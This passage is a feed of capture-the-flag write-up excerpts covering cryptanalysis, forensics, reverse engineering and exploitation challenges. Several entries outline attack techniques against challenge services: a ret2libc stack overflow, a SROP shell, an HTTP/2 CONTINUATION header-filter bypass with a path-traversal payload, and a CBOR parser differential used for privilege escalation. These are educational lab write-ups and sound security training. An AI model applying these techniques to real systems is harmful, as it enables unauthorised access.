and φ(N) ≈ N, the fraction k/d is a good rational approximation to e/N, so it shows up among the convergents.

Smooth DH

Thu, 22 Oct 2026 00:00:00 +0000

A Diffie-Hellman instance with p = 1870283325551092163712001 — suspiciously small, and, as it turns out, with a fully smooth p - 1. The private exponent is recovered from the public key by a plain discrete log in a group whose order factors into small primes.

Files

public.txt — p, g = 2048, A = g^d mod p
README.md, solve.py

Analysis

p is only ~81 bits. Even without smoothness, Pollard rho would finish quickly at that size, but p - 1 factoring into small primes makes Pohlig-Hellman essentially instant. The script leans on sympy:

Solana Swap Emulator: SwapAToB Account Puzzle

Thu, 22 Oct 2026 00:00:00 +0000

For H7CTF 2026 the AI-category target here is a toy Solana SPL swap program. A raw-socket harness drives a self-contained re-implementation of the program loader, and solving it is: submit one correct account list for the swap instruction, encoded exactly how a real Solana runtime would need it.

Files

lib.rs - the on-chain program. Borsh-defined Pool account plus an InitPool/SwapAToB/SwapBToA instruction enum.
solve.py - the driver. Opens a socket, parses the banner into address/value names, submits accounts then a Borsh-encoded instruction.

Analysis

The target program's lib.rs is a small AMM skeleton with no real pricing. The interesting piece is the direction check inside swap:

Sparrow Freight Dispatch — Stack Overflow to ret2libc

Thu, 22 Oct 2026 00:00:00 +0000

This challenge's binary is dispatch; the banner inside it is what names it. H7CTF 2026's pwn track artifacts for the challenge are titled dispatch.zip, and the feedback terminal's prompt (enter waybill number:) plus === Sparrow Freight dispatch terminal === are the strings around it.

The bug

The dispatch binary, running with libc 2.39-0ubuntu8.9, reads a "waybill number" into a bounded but unsafe buffer: my exploit uses 72 bytes b"A"*72 of pure padding, which is how I discovered the spot where an oversized waybill begins to smash saved registers locally. elf.symbols references in the exploit (pop_rdi, main) resolve SymTab entries published by the binary, and the exploit pops return addresses directly off the stack on entry.

TCP Schrödinger

Thu, 22 Oct 2026 00:00:00 +0000

An incident-response-flavoured networking challenge: a TCP stream crosses the 32-bit sequence-number boundary, and an attacker injects ghost duplicate segments on the wrapped sequence numbers. Off-the-shelf reassembly produces contradictory streams — the task is to apply RFC 7323 PAWS (Protect Against Wrapped Sequences) manually and get the one true payload.

Files

tcp_schrodinger_mirror.pcap — the capture
CASE_BRIEF.txt, kernel_tcp_audit.log, suricata_tcp_alerts.json, tcptrace_analysis.txt — mostly decoy analyst noise
solve.py

Analysis

PAWS compares the TSval option of each segment against the highest timestamp seen so far (TS.Recent). A segment whose TSval is older than TS.Recent is stale — even if its sequence number looks plausible after the wrap — and must be dropped.

TCTF Crypto

Thu, 22 Oct 2026 00:00:00 +0000

This TCTF 2026 crypto service ("Feed the BOX") encrypts every supplied 16-byte block with a custom AES variant under a fixed secret key, handshakes a checksum cryptogram (the key encrypted with itself), and demands the key back after up to 5,000 queries. I recovered the key with a differential fault–style collision attack that pre-precomputes the MixColumns masking, then finished off the remaining ambiguity with a tiny C brute force.

Summary

The service implements a heavily modified AES:

TCTF Misc: Command Fuzzer

Thu, 22 Oct 2026 00:00:00 +0000

The TCTF 2026 challenge behind this folder presents a shell-like service on a remote host (TCP port 23, banner included) that ships with a very restricted command vocabulary. Without any handout file naming the challenge, the practical first move is statistical: fuzz the command word. solve.py does exactly that — it collects a candidate word list from the local system plus challenge-shaped keywords, slams the service with one connection per candidate, and flags any response that doesn't match the boilerplate rejections.

Total Recall

Thu, 22 Oct 2026 00:00:00 +0000

Total Recall (SunshineCTF 2026) is a statically linked, stripped x86-64 binary with essentially no code to reuse — but it leaks its own stack address and offers two full-chunk reads, which is enough to build a ret2syscall through a SROP frame and get a shell. I solved it with a two-stage pwntools script.

Summary

The binary is tiny. Its runtime does three useful things in sequence: push rsp and write() it out (an 8-byte stack leak), then read() 24 bytes, then a second helper routine does read(0, rsp-0x80, 0x400) before returning. Neither chunk has stack protection worth considering, and there are no libc gadgets — it is a pure "supply your own syscalls" target. The second read is the attack primitive: it reads 0x400 bytes into a buffer whose return address sits at offset 0x80.

Truncated Oracle

Thu, 22 Oct 2026 00:00:00 +0000

A stream cipher built on an LCG, leaking only the high 16 bits of each 64-bit state. The flag is XORed with the low bytes of the state sequence — so recovering the hidden low bits recovers the keystream.

Files

output.txt — a, c, bits = 64, leak_bits = 16, a list of leaked high bits, ciphertext
solve.py
README.md

Analysis

Each leaked value is hᵢ = ⌊sᵢ / 2^48⌋; the unknown part is tᵢ = sᵢ mod 2^48. The recurrence

Two Keepers

Thu, 22 Oct 2026 00:00:00 +0000

A stego challenge built on visual secret sharing: two images (share1.png, share2.png) from a lighthouse keeper's apprentices. Individually they look like noise; XOR them back together and the instructions appear.

Files

share1.png, share2.png
README (2).md — brief
solve.py

Analysis

The two shares are the same canvas with complementary random noise: for each pixel, one share carries the signal and the other the mask, so XOR cancels the noise and leaves the message. One share is mirrored horizontally before combining — the classic "look at them side by side" misdirection.

Weighty Secrets

Thu, 22 Oct 2026 00:00:00 +0000

A hardened Merkle-Hellman knapsack: 96 public weights generated as a_i = r·b_i mod q from a tight superincreasing sequence, at density ≈ 0.91 — deliberately just under the 0.9408 CJLOS bound. A 96-bit secret is the subset-sum solution; SHA256(secret) is the AES-256-GCM key for the flag.

Files

public_instance.json — n, public_weights, ciphertext_sum, AES nonce/ciphertext
README.md, solve.py, lll.py

Analysis

The subset-sum is c = Σ xᵢ·aᵢ with xᵢ ∈ {0,1}. The naive lattice

Frost-ledger

Mon, 12 Oct 2026 00:00:00 +0000

Category: Forensics / File Format Recovery
Flag format: isfcr{...}
Target record: bay/07/thaw-authority

Challenge Description

Bay 07's controller cabinet went down with the vault and took the vendor's reader with it. What survived is the registry volume, the documentation on the controller image, and fvrctl. Recover the authority token from the registry record bay/07/thaw-authority.

Flag

text

isfcr{stale_cow_67c1_root_fc8fe97f_backwards_heap}

1. Inspect the archive

bash

tar -xzf frost-ledger.tar.gz
cat README.txt
cat usr/share/doc/fvregd/RELEASE-NOTES.txt
cat usr/share/doc/fvregd/ONDISK-NOTES.txt
cat include/fvr_format.h
cat var/log/fvregd.log

The archive includes a registry.fvr volume, fvrctl, an SDK header, documentation, and daemon logs. The daemon uses fvregd 1.4.2 / on-disk format v1. In v1, the 16-byte cell descriptor adds a flags field and, critically, the key/value offsets use a different convention from the v0 notes. The released fvrctl no longer provides get or walk, so the registry must be parsed offline.

Ghost Spooler — Forensics

Mon, 12 Oct 2026 00:00:00 +0000

Challenge Description

A workstation got imaged late one night and three leftovers from its print spooler made it out before the drive was wiped. A scanner in the evidence room had a scan of what looks like the same page sitting on it. Prove the document was printed from that exact machine, then build the flag.

The flag is not sitting in any file. You build it from three things you have to recover: the username that owned the print job (lowercased), the printer's 7 digit serial number, and the UTC timestamp of the print, formatted YYYY-MM-DDTHH:MM:SSZ (seconds are always 00). The flag is then isfcr{ followed by the first 16 hex characters of SHA-256(username + "|" + serial + "|" + timestamp) followed by }.

You are given FP02CF4.SHD, FP02CF4.SPL, and scan.png. Everything you need to recover those three values is in those files.

Half-Truths

Mon, 12 Oct 2026 00:00:00 +0000

Category: Cryptography
Flag format: isfcr{...}
Challenge: “327 of my 512 friends lied to me. Reconstruct the secret anyway.”

Challenge files

chall (1).py — the challenge generator, including the polynomial construction and encryption scheme.
output (1).json — 512 shuffled shares, finite-field parameters, and the AES-GCM ciphertext, nonce, and tag.

1. Understanding the scheme

The generator samples a polynomial of degree 39 over the prime field

\[ \mathbb F_p,\qquad p=2^{31}-1=2147483647. \]

Its 40 coefficients are stored in low-to-high order:

Insanity Check 3 — CRYOVAULT 2026

Mon, 12 Oct 2026 00:00:00 +0000

Category: Sanity / Steganography / Unicode
Flag format: isfcr{...}

Challenge Description

The challenge pointed participants toward the CRYOVAULT 2026 competition rules. The clue was in Rule 2 — Flag Format, which appeared to show an ordinary example of the flag syntax.

Initial Observation

On inspection, the text of Rule 2 contained numerous invisible Unicode characters mixed with the visible isfcr{...} example. The visible example was not the hidden payload. Copying the original text preserved those characters, even though they were not displayed as normal letters.

last packet — Forensics

Mon, 12 Oct 2026 00:00:00 +0000

Challenge Overview

Category: Forensics / Network Analysis
File Provided: challenge2.pcap
Flag: isfcr{l33t_c0d3_tw0_sum_f0und}

1. Initial Inspection

We are provided with a network packet capture file challenge2.pcap. Using tshark, we inspect the HTTP requests and responses contained within the capture:

bash

tshark -r challenge2.pcap -Y "http" -T fields \
 -e frame.number -e ip.src -e ip.dst -e http.request.method -e http.request.uri -e http.response.code -e http.file_data

Among standard browsing and DNS queries, we identify activity against internal microservices:

One pound fish

Mon, 12 Oct 2026 00:00:00 +0000

Challenge Overview

The challenge required identifying a location from an image and submitting the associated market name as the flag.

Solution

Perform a reverse image search on the challenge image.
Find an identical image in the search results, linked to an article about a building.
Read the article and look for nearby landmarks.
The article mentions Russell Market as a market near the building.
Convert the market name to lowercase and replace the space with an underscore to form the flag.

Flag

text

Iscfr{russell_market}

Conclusion

The key was using reverse image search to locate the original article, then extracting the nearby market name from its description.

Ouroboros — Reverse Engineering

Mon, 12 Oct 2026 00:00:00 +0000

Challenge: ouroboros
Author: NotKnox
Points: 50
Category: Reverse Engineering
Artifact: chall (stripped Linux x86-64 ELF)
Flag: isfcr{c0d3_th4t_3ats_1ts_t41l!!}
Status: Verified locally

Challenge Description

Hand it 32 bytes. It will tell you nope.

Challenge Overview

We are given a single executable named chall and must find the 32-byte input that causes it to accept our answer. Unlike a simple strcmp checker, this program transforms the input before comparing it with embedded reference bytes.

Phantom Mesh

Mon, 12 Oct 2026 00:00:00 +0000

Category: Wireless forensics / cryptography / power side-channel analysis
Flag format: isfcr{...}
Status: Solved; authenticated cryptographic verification passed.

Flag

text

isfcr{ph4nt0m_m3sh_h4rm0n1cs_un14sk_th3_tc_l1nk_k3y}

Challenge objective and evidence

An unrecognized device was observed on a Lumeta smart-lighting mesh, sending a periodic diagnostic report. The challenge supplies:

mesh.pcap — IEEE 802.15.4 frames containing vendor-specific Lumeta Mesh Protocol (LMP) messages.
traces/iq.npz — 2,500 trigger-aligned I/Q records, each 2,500 complex samples.
traces/nonces.csv — the public 16-byte KEY_CONFIRM nonce corresponding to each trace.
docs/LMP-protocol.md — LMP framing, key hierarchy, AES-CCM* nonce/AAD specifications, and message layouts.
docs/sdr-capture.md — capture setup and the vendor's note about instability in the coordinator's power-amplifier bias feed.

The target diagnostic report is encrypted under a per-mesh Network Key (NWK Key). The NWK Key is distributed in a TRANSPORT_KEY command encrypted under a fleet-wide Trust Center (TC) Link Key. That TC Link Key is not directly present in the files, so we first recover it through power analysis of the coordinator's transmissions.

PHANTOM-15: The Sensor That Transmitted Nothing

Mon, 12 Oct 2026 00:00:00 +0000

Category: IoT / Forensics / Cryptography
Flag format: isfcr{...}

Challenge summary

PHANTOM-15 was declared permanently offline during an industrial pressure incident. Although the gateway delivered a low-priority continuity report, it did not deliver the subsequent emergency diagnostic. Three independent IEEE 802.15.4 sniffers captured traffic on channels 15, 20, and 25, and a manufacturing lab provided AES qualification traces. The objective was to authenticate the transmissions, recover the erased diagnostic record, and explain the gateway's apparent silence.

signed, but which original?

Mon, 12 Oct 2026 00:00:00 +0000

Points: 50
Author: d3va
Likes: 16 (100% liked)
Category: Forensics / Cryptography
Flag format: isfcr{...}
Challenge files: handout.zip (case.json, entries.bin)

Flag

text

isfcr{29336738f5f44f4d2d1e3ac2}

Challenge Description

Find the derivative that satisfies case.json, and its ancestry. Evidence, six ASCII strings in this order: the derivative's asset SHA-256, its manifest_id, its ancestry's manifest_ids from capture to derivative joined with >, the capture's asset SHA-256, the target incident ID, and the tree_size of the checkpoint you relied on. Digests are lowercase hex.

Sparse-change

Mon, 12 Oct 2026 00:00:00 +0000

Category: Cryptography
Points: 50
Author: NotKnox

Challenge Description

The machine went to scrap. All we recovered was 48 numbers off its sweep log.

Files provided: chall (3).py, output (3).json

Flag

text

isfcr{pr0ny_kn3w_1t_1n_1795}

Analysis

The supplied Python generator defines a sparse polynomial over the finite field $\mathbb{F}_p$:

\[ F(X)=\sum_{i=1}^{24}c_i X^{e_i}\pmod p. \]

The exponents $e_i$ are distinct integers in $[1,p-2]$, and the coefficients $c_i$ are nonzero. The output file contains the prime p, a multiplicative generator g, and exactly 48 consecutive evaluations:

The Image That Forgot

Mon, 12 Oct 2026 00:00:00 +0000

Category: Forensics / Containers / Cryptography
Flag format: isfcr{...}
Flag: isfcr{57cfd556fca281af64d920ef}

Challenge objective

Recover the incident token belonging to the container instance serving dispatch-ac1af5608a at 2026-08-14 10:10:08.555 +05:30. The input archive contains:

events.jsonl — deployment, restart, migration, rollback, and mutable image-tag history.
images.tar — an OCI image layout with multi-platform indexes, manifests, and filesystem layers.
vault.json — candidate AES-256-GCM keys and encrypted incident-token notes.

The final flag is encrypted separately. It can be decrypted only after assembling the correct event ID, image manifest digest, service ID, key version, and recovered token.

The Last Committed Message

Mon, 12 Oct 2026 00:00:00 +0000

Category: Forensics / SQLite WAL reconstruction / Cryptography
Flag format: isfcr{...}
Recovered flag: isfcr{a03a410f1b87dbc115dd1ef6}

Challenge objective

Recover the note and its attachment record as they existed immediately after the operation committed for export export-07abca69cd99. The evidence consists of four ASCII strings, in order:

Note ID
Revision, written as a decimal string
Destination, exactly as stored
Associated attachment's recorded SHA-256, in lowercase hexadecimal

These strings are serialized as a compact JSON array, fed into hashlib.scrypt, and used to derive the AES-256-GCM key that decrypts the flag.

The Shape of Silence

Mon, 12 Oct 2026 00:00:00 +0000

Category: Machine Learning / Reverse Engineering
Flag: isfcr{577027585a0778773aa949d9}

Challenge description

A black-box model returns exact rational outputs. Submit its outputs for the 24 inputs in data.json under targets, in order, as a JSON list of reduced rational strings (for example "-87/64" or "26"). Then run:
bash
python3 unlock.py '["...", "...", ...]'
Flag format: isfcr{...}

Provided files

The archive the_shape_of_silence.zip contains:

data.json: model metadata, observations, anchors, and the 24 target inputs.
unlock.py: validates an exact ordered list of outputs by attempting authenticated decryption.

Unpack the files:

Toxic Waste

Mon, 12 Oct 2026 00:00:00 +0000

Category: Cryptography
Flag: isfcr{ch30n_8f_th3_c0mpr3ss3d_srs}

Challenge description

Trusted setup done, secret burned. We kept the two ends and binned the middle to save on disk.

The challenge provides chall.py and output.json. A trusted setup samples a secret integer tau and builds a structured reference string (SRS) containing successive powers of the secret in an order-q multiplicative subgroup of GF(P). Instead of publishing the entire SRS, the system keeps only:

Turning Chart — Reverse Engineering

Mon, 12 Oct 2026 00:00:00 +0000

Challenge

The survey ship's last chart was sealed by a navigation instrument whose needle never stays put. The crew kept the instrument, but lost the course that opened it. Recover the accepted course.

Run the Linux x86-64 executable and enter a course when prompted. The retired dial shown by ? is kept for the museum, not for navigation.

Category: Reverse Engineering
Artifact: turning_chart
Flag format: isfcr{...}

Flag

text

isfcr{3v3ry_r0ut3_r3m3mb3rs_1ts_0r1g1n}

1. Initial reconnaissance

Identify the executable:

Zygote Conspiracy

Mon, 12 Oct 2026 00:00:00 +0000

Flag

text

isfcr{tw1n_pr0cess_h4ndshake_mem0ry_0nly_9f23ac}

Overview

The two APKs cooperate to reconstruct an encrypted DEX payload. Each contains a 32,768-byte asset named half.bin. Their native libraries publish their own half through a memory-backed file, locate the companion process, and XOR the halves together. A certificate-derived ChaCha20 key decrypts the result. The recovered xyz.srspace.vault.Vault class contains a second encrypted payload, which decrypts to the flag using AES-GCM.

Everything needed for offline recovery is in the APKs; an Android emulator is unnecessary.

Canonical-sin

Sun, 11 Oct 2026 00:00:00 +0000

Category: Web / Crypto Target: https://isfcrpesu-canonical-sin.chals.io/ Flag: isfcr{c4n0n1c4l_d1ff3r3nt14l_t4g_55799_1s_th3_s3lf_d3scr1b3_tr4p_2ec4}

TL;DR

The instance is a "Capability Broker" (auth-gw, Node/Express) that mills Ed25519-signed CBOR capability tokens, plus a secret vault (vault-api, Python/Flask) that enforces role + caps claims.

POST /auth/mint lets you merge arbitrary extra_claims (CBOR) into a new signed token, but tries to prevent privilege escalation with a byte-level denylist and a role allowlist.

The bug is a CBOR decoder differential:

Cassandra Fintech — cassandra-edge/2.3.1 (IFSCR CTF)

Sun, 11 Oct 2026 00:00:00 +0000

Target: 0.cloud.chals.io:30152 (HTTP/2 over TLS, self-signed cert) Flag: isfcr{h2_continuation_smuggling_is_the_new_black}

TL;DR

The edge proxy enforces its restricted-header rules only while decoding the primary HEADERS frame. By padding the header block so the sensitive headers fall into CONTINUATION frames, the filter is bypassed. The backend then:

Accepts a signature obtained from the internal signer (POST /internal/sign) whose path policy is a literal substring check for /admin.
Resolves /admin/flag from a path that normalizes to it (unquote + normpath), while verifying the HMAC over the raw X-Signed-Path.

Sign "/api/../%61dmin/flag" (no literal /admin, starts with /api/), send it as X-Signed-Path on GET /admin/flag, and the gate lets you through.

coldpack — rimefold (IFSCR)

Sun, 11 Oct 2026 00:00:00 +0000

Flag: isfcr{the_merge_3b7d_never_rechecked_the_hue_00cb8b04}

Service: nc 0.cloud.chals.io 15036 — fresh process per connection.

1. Recon

The handout is a stripped static‑PIE ELF (coldpack), self‑reporting ABI 1.3. The live service reports 1.4, so the note ("the handout binary is the 1.3 bench revision of the head… confirm anything that matters against your own head") is load‑bearing.

text

$ file coldpack
ELF 64-bit LSB pie executable, x86-64, static-pie linked, stripped
$ ./coldpack # with FLAG=... env
coldpack rimefold abi 1.3 ready id=<32 hex>

On start the head:

Cryovault Attestation

Sun, 11 Oct 2026 00:00:00 +0000

Target: https://isfcrpesu-attestation.chals.io Category: Web / OCI Registry Abuse Flag: isfcr{attest_5d60_notary_41a34ce7_laundered}

1. Challenge overview

The front desk serves a small OCI-inspired registry. Each POST /session creates a private, writable copy of repository cryovault with:

a retired image manifest (tag from the session catalog),
an evidence blob,
custody "desks": /api/notarize, /api/review, /api/open.

From the field guide:

The opening desk should never release a live case without valid review, a release layer, and a signed claim associated with the selected child.

End Mark

Sun, 11 Oct 2026 00:00:00 +0000

Result

text

isfcr{28bc454d9b8fc1b73ff97a0d7db31a76}

The worker read 24 payloads of 24 bytes each. Concatenating them in ascending slot order gives 576 bytes with SHA-256:

text

28bc454d9b8fc1b73ff97a0d7db31a76f16db9ebfa7690e2b48e3fa4600a5746

Evidence

The handout contains BRIEF.md, ledger.db, ledger.db-wal, and trace.ndjson. The trace records the total order of writer commits and reader operations, but omits query results. The database has these tables:

sql

CREATE TABLE fragments(
 slot INTEGER PRIMARY KEY,
 payload BLOB NOT NULL,
 revision INTEGER NOT NULL
);
CREATE TABLE heartbeat(
 id INTEGER PRIMARY KEY,
 marker INTEGER NOT NULL
);

The ZIP remains the unchanged evidence. All inspection uses extracted files, and SQLite opens reconstructed snapshots with immutable=1 so it does not process or alter the captured WAL.

Field Console

Sun, 11 Oct 2026 00:00:00 +0000

Category: Reverse Engineering / Protocol Exploitation Artifact: field-console.apk Target: nc 0.cloud.chals.io 25228 Flag: isfcr{f13ld_c0ns0l3_t0k3n_b1nd1ng_byp4ss}

1. Overview

Field teams use the Field Console handset app to talk to dispatch nodes on a depot network. Routine (operator) jobs work fine; the maintenance path is meant to be off-limits. We are given the APK and a TCP endpoint. The goal is to get the node to hand back the flag.

The node speaks a small custom binary token protocol called OSX. The vulnerability is a length bug in the token parser, combined with a staged misparse that lets a token be read as two different roles depending on how many times it is normalized (reparceled). This bypasses both the admission check and the "role drift" integrity check.

Free-lunch

Sun, 11 Oct 2026 00:00:00 +0000

Category: Crypto Flag: isfcr{b4ckw4rds_1s_h4lf_th3_d3gr33}

Challenge

We are given chall.py and output.json. A permutation P acts on GF(p)^2 with p = 4611686018427387761 (a 62-bit prime, p % 3 == 2) over R = 20 rounds:

text

(x, y) <- (cbrt(x + y + c_i), x) i = 0 .. R-1

where cbrt(v) = v^(1/3) = v^E with 3E = 1 mod (p-1). Since p = 2 mod 3, cubing is a bijection on GF(p), so the cube root is well defined.

GHOST-13 offline investigation

Sun, 11 Oct 2026 00:00:00 +0000

Result

text

isfcr{ghost13_dc8f84a256fa64108b6c75a151a1474d}

The solution combines commit-journal recovery, TCP and Modbus fragment reconstruction, ECDSA nonce reuse, DTMF decoding, and an authenticated OTA decryption. All work is local; no controller or external service is required.

Files and reproduction

The supplied artifacts are plc_firmware.bin, plc_program.bin, plc_traffic.pcap, alarm_buzzer.wav, maintenance_update.ota, uart_log.txt, and field_service_excerpt.txt.

The accompanying solve_ghost.py (local artifact) implements the recovery. Run it from the directory containing those files, using Python 3 with numpy and cryptography available:

Hidden Weights -

Sun, 11 Oct 2026 00:00:00 +0000

Challenge summary

The challenge chooses ten secret weights a_1, ..., a_10 modulo a 200-bit prime M, then publishes 50 totals:

h_j = sum(a_i * x[i,j]) mod M, where every x[i,j] is either 0 or 1.

The weights and subset-selection bits are both secret. The output also contains an AES-GCM-encrypted flag. The key is:

python

SHA256(",".join(map(str, sorted(weights))).encode()).digest()

Attack idea

Each published value is a subset sum of the same ten weights. Consequently, the 50 totals are not independent random values: they are points drawn from a ten-dimensional subset-sum cube.

Implicit Twins — RSA Lattice Attack

Sun, 11 Oct 2026 00:00:00 +0000

Challenge

Two 1280-bit RSA keys, separated at birth. Neither of them will talk alone.

The challenge provides two RSA moduli, N1 and N2, a public exponent e = 65537, and a ciphertext ct. The flag is textbook RSA-encrypted under N1.

The source code reveals the weakness:

N1 = p1 * q1 and N2 = p2 * q2.
Each p is 1024 bits and each q is 256 bits.
The two p primes share their lowest 530 bits.
The ciphertext is pow(flag_as_integer, e, N1).

The shared low bits are the key to recovering the factors.

Journal-necromancy

Sun, 11 Oct 2026 00:00:00 +0000

Category: Forensics (NTFS) Flag: isfcr{mft_slack_dies_but_data_clusters_remember_1a2f}

Challenge

An engineer wiped their tracks before a seized workstation was handed back, but a small partition got imaged first. On that image is an encrypted archive we think holds what they took, and the key that opens it was deliberately destroyed before the machine was seized.

Given: a single 64 MiB NTFS raw image, evidence.img.

TL;DR

The vault key is split into three XOR shares. Each share was hidden as a small tagged record (de ad 53 47 | idx | share | parity) in the slack at the tail of decoy data blocks. Searching the raw image for that marker finds all three. XOR the shares to get the AES-256-GCM key, then decrypt secure_archive.enc.

leaky-eval — HTB Crypto Challenge

Sun, 11 Oct 2026 00:00:00 +0000

Flag

text

isfcr{n3g4cycl1c_n01s3_l34k}

Challenge overview

The challenge provides chall.py and output.json. The service uses a polynomial ring

\[ R_Q = \mathbb{Z}_Q[X]/(X^N+1) \]

with:

$N=64$
$Q=2^{61}-1$, a prime
secret coefficients $s_i \in \{-1,0,1\}$
noise coefficients bounded by $2^{20}$
72 samples

For each sample, the plaintext is zero and the ciphertext is generated as

\[ b = a \cdot s + e \pmod Q. \]

The output includes a, b, an index idx, and leak, where leak is the noise coefficient $e_{\text{idx}}$ reduced modulo $Q$. The same output also contains an AES-GCM encrypted flag.

Leger

Sun, 11 Oct 2026 00:00:00 +0000

Category: Reverse Engineering Goal: recover the 16-byte input that makes the binary print CORRECT.

Flag

text

isfcr{lll_dense}

Verified:

text

$ printf 'isfcr{lll_dense}' | ./chall
CORRECT -- the flag is the input you just gave me.

Overview

chall is a stripped 64-bit ELF that reads exactly 16 bytes of input and prints CORRECT iff the input satisfies a very specific arithmetic condition. At a high level the check is a 256-bit subset-sum (knapsack) problem over 128 numbers: the 16 input bytes are interpreted as a 128-bit vector of choices, each set bit selects one 256-bit weight, and the sum of all selected weights must equal a fixed target constant. The instance is dense and the weights are full 256-bit numbers, so the intended solve is a lattice reduction (LLL/BKZ) attack, which is also where the flag text comes from (lll_dense).

loom — Reversible Cellular Automaton Crackme

Sun, 11 Oct 2026 00:00:00 +0000

Flag: isfcr{2nd_0rd3r_r3v_c3ll_aut0m8}

Overview

loom is a stripped x86-64 ELF that reads exactly 32 bytes from stdin, runs them through roughly a million generations of a second-order (reversible) cellular automaton, and compares the output of that simulation against two hard-coded targets. If both match, it prints the success message and tells you the flag is literally the input you gave it.

text

$ file loom
loom: ELF 64-bit LSB executable, x86-64, ... stripped

$ strings loom
need exactly %d bytes of input
CORRECT -- the flag is the input you just gave me.
nope.

Reverse engineering the logic

Input handling

fread(buf, 1, 0x20, stdin); // must read exactly 32 bytes
if (n != 0x20) { fprintf(stderr, "need exactly %d bytes of input\n", 1); return 2; }

Unpacking into a bit array

The 32-byte input is expanded into a 256-element byte array where each element holds a single bit (0 or 1), LSB-first:

Palimpsest — Restoration Press 04

Sun, 11 Oct 2026 00:00:00 +0000

Flag: isfcr{p4p3r_r3m3mb3rs_wh4t_1nk_f0rg3ts}

Binary: palimpsest — ELF64, x86-64, statically linked, stripped.

Accepted input is a 39-byte string isfcr{ + 32 inner bytes + }. The 32 inner bytes are mapped little-endian into eight 32-bit registers, which are then run through a 160-round bytecode VM. The binary prints Seal accepted. Job 04 restored. only when the final machine state equals a hard-coded target.

1. Recon

Running the binary with ? prints the archive catalogue. The live prompt also prints all the surviving job cards:

Parallax

Sun, 11 Oct 2026 00:00:00 +0000

Flag: isfcr{sh0rt_sh4d0ws_r3v34l_d3pth42}

The challenge provides model (1).py and observations (1).json. The forty silhouettes are modular subset sums of fourteen hidden atoms. Recovering the binary subset mask reveals the atoms; short relations between the public quadratic coefficients then turn the nonlinear problem into a noisy linear system.

1. Understand the model

Let p be the public prime, M the unknown 40-by-14 binary mask, and a the fourteen atoms. The observations satisfy

Prismwake

Sun, 11 Oct 2026 00:00:00 +0000

Flag: isfcr{pr0j3ct1v3_sh4d0ws_c0nc34l_gr0up_l4w}

Challenge

observations.json holds 6000 pairs (multiplier mᵢ, observation oᵢ) with

oᵢ = (A·x([mᵢ]K) + B) / (C·x([mᵢ]K) + D) (mod p)

on E: Y² = X³ + b over F_p. The point K (order n) and the matrix (A,B;C,D) are secret. The seal key is SHA256("prismwake-v1\0" || x(K) || u || v || w), where x = (u·o + v)/(w·o + 1) is the inverse Möbius map. The goal is to recover x(K), u, v, w.

Recurrence

Sun, 11 Oct 2026 00:00:00 +0000

CTF reverse-engineering / crypto challenge Flag: isfcr{p0hlig_h3llman_sm00th}

We are given a stripped 64-bit ELF binary chall. Running it:

text

$ ./chall
need exactly 28 bytes of input

It wants exactly 28 bytes. Feeding 28 bytes returns nope. unless the input is the correct one — the flag is the 28-byte input itself.

1. Reverse engineering

The binary is small enough to fully disassemble with objdump -d. Only a few functions exist (plus glibc PLT stubs): the main at 0x4003c0, and three helpers:

SilverGate — silvergate.apk + base.odex

Sun, 11 Oct 2026 00:00:00 +0000

Category: Mobile / Reverse Engineering Flag: isfcr{5958fbb07efd243b}

0. TL;DR

base.odex is not a real ART/OAT file — it's a hand-crafted container with a small AArch64 "native code" section and three methods:

Method	Offset	Behaviour
`checkFlag_v1_LEGACY`	`0x7e0`	compares a 32-byte input against the constant at `0x1c8`
`checkFlag_v2`	`0x4b0`	8-register bytecode VM that validates a 24-byte passphrase
`finalizeFlag`	`0x820`	`FNV-1a-64(passphrase) ^ 0xa55a96693c3cd2ad`

checkFlag_v2 is fully invertible. Doing so reveals the passphrase art_image_took_the_cake!, and finalizeFlag turns it into the flag:

slab store

Sun, 11 Oct 2026 00:00:00 +0000

Category: pwn Target: nc 0.cloud.chals.io 20535 Flag:

text

isfcr{cust0m_sl4b_n0_gl1bc_r3c1p3_s4v3s_y0u}

1. Recon

Connecting to the service prints a banner and a prompt:

text

slab store. commands: alloc | free <i> | edit <i> <hex> | read <i> | report | quit
>

So this is a little in-memory "note store" with five commands:

command	meaning
`alloc`	allocate an object, prints `idx N`
`free <i>`	free object `i`
`edit <i> <hex>`	hex-decode and write bytes into object `i`
`read <i>`	print object `i` as 96 bytes of hex
`report`	prints `nothing to report.`
`quit`	exit

Behavioral probing established:

The Aggregate Remembers

Sun, 11 Oct 2026 00:00:00 +0000

Flag: isfcr{9b1aa6a53205a859c14cc5e4}

Answer submitted:

bash

python3 unlock.py '["07841f68cb73fe5aac5cbf66f113f992", "ff1247cd40f11a77f9495f7ba9648a20"]'

Challenge summary

A federated linear regression model (16 features plus a bias term, every label equal to 1) was updated over many rounds. Each round mixed three clients with integer mix weights, and only the aggregated delta was published:

text

delta = -lr * (weighted_mean_gradient + weight_decay * weights)

with lr = 1/8 and weight_decay = 1/64. The goal was to recover the two raw 16-byte records in the target client's batch (6806bb153e) from the acquisition-A cohort.

The Deletion Echo

Sun, 11 Oct 2026 00:00:00 +0000

Flag: isfcr{763c8479fac095a9e471ad3d}

Challenge

A regression service claims a deletion request was fulfilled by exact retraining. We get:

data.json with a contract, 5 model snapshots, 140 candidates (raw feature vectors), 3 ingest batches (raw vectors, no labels), and 1200 oracle queries (240 per snapshot) returning mean and predictive_variance.
unlock.py, which decrypts the flag if given the exact sorted list of record-id:label strings for every deleted record.

The model is ridge regression on features x = (raw[perm] - center) / scale, with no intercept:

The-press

Sun, 11 Oct 2026 00:00:00 +0000

Category: Reverse Engineering Flag: isfcr{r4ng3_c0d3r_b1t_3x4ct_y0!}

Summary

the-press (binary: chall_1_) is a stripped x86-64 ELF. It reads exactly 32 bytes from stdin, compresses them with a custom LZMA-style range encoder, and compares the 36-byte result against a constant in .rodata. If the output matches it prints CORRECT; otherwise nope..

The solution is to run the encoder backwards: decode the 36-byte target with a range decoder that mirrors the binary's probability model, then undo the XOR chain.

Turning_chart

Sun, 11 Oct 2026 00:00:00 +0000

Category: Reverse Engineering Flag: isfcr{3v3ry_r0ut3_r3m3mb3rs_1ts_0r1g1n}

The survey ship's last chart was sealed by a navigation instrument whose needle never stays put. The crew kept the instrument, but lost the course that opened it. Recover the accepted course.

1. Recon

console

$ file turning_chart
turning_chart: ELF 64-bit LSB executable, x86-64, statically linked, stripped

It is tiny (~10 KB), static, stripped, and uses raw syscalls (no libc). Running it:

Write-hole

Sun, 11 Oct 2026 00:00:00 +0000

Flag: isfcr{p4r1ty_n3v3r_l13s_wr1t3_h0l3_r3m3mb3rs}

Summary

